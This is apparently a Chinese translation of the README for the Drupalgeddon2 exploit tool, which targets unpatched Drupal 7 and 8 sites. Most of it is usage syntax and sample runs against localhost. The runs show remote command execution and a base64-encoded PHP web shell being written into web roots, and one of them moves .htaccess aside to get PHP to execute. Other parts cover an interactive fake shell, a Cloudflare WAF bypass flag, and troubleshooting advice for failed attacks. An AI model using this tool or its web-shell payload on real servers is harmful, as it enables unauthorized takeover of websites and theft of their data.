Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)
支持：
user/register URL 攻击 account/mail 和 #post_render 参数，使用 PHP 的 passthru 函数user/password URL 攻击 triggering_element_name 表单和 #post_render 参数，使用 PHP 的 passthru 函数./）或子目录（./sites/default/ 和 ./sites/default/files/）针对 Drupal v8.x 选择了 user/register 方法，因为它会返回 HTTP 200 并在 data JSON 响应中渲染输出 （取消注释 timezone/#lazy_builder 方法的代码将返回 HTTP 500 且无回显） （更多信息）
作者：
注意：
drupalgeddon2-customizable-beta.rb 部分$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
ruby drupalgeddon2.rb https://example.com
$
--verbose 和 --authentication 参数可以在 <target> 之后以任意顺序添加，
两者均为可选。
如果指定了 --authentication，系统会提示您输入以下信息：
user/login这是为了支持那些需要先通过基于 POST 的 Web 登录，并在成功验证后返回会话 cookie 的网站。
Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1
$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-8/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>
Drupal < v7.58
$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found : http://localhost/drupal-7/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uptime
14:52:33 up 4 days, 3:35, 1 user, load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>
如果您不希望尝试向 Web 服务器写入 PHP WebShell，请按如下方式编辑文件 （如果找不到可写入的位置，脚本会回退到无文件方法）：
try_phpshelltryphpshell = false
示例
$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-nonwrite/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)... May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
drupalgeddon2>>
如需代理支持（例如 Burp），请编辑文件，替换为您的值。示例：
proxy_addr = "192.168.0.130"
proxy_port = 8080
drupalgeddon2-customizable-beta.rb 专为更高级的用户设计，因为它具有更高的可定制性。它允许您指定更多参数，例如要使用的 PHP 方法（不仅限于 system() 或 passthru()），以及到达用户/密码表单的方式。
使用示例：
Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
More info: -h
-u, --url URL [Required] Service URL
-v, --version VERSION [Required] Target Drupal version {7,8}
-c, --command COMMAND [Required] Command to execute
-m, --method PHP_METHOD [Optional] PHP Method to use, by default: passthru
--form [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
--cloudflare [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
-h, --help Prints this help
如果遇到“无法加载此类文件”的 LoadError 错误，请运行 sudo gem install <缺失的依赖>。
具体来说，您可能需要使用 sudo gem install highline 安装 highline 依赖。
目标可能会重定向到 Drupal 所在的其他路径（例如 HTTP 30x 响应）
有效负载/命令中允许使用的字符有限制
如果目标是 Linux，并且未使用“GNU base64”，则可能是 BSD 版本 （或者根本没有安装！）
base64 -D（而不是 base64 -d），或者使用无文件方法。如果目标是 Windows，写入 PHP Shell 总是失败
certutil 或 PowerShell。Drupal v8.x - 如果可写入文件夹是 ./sites/default/，则 ./.htaccess 会阻止任何 PHP 脚本执行
Drupal v8.x - 目标未启用“clean URL”
Drupal v7.x - 如果 /user/password 表单被禁用，您需要找到另一个表单
form_id 参数将根据用于利用漏洞的表单而改变。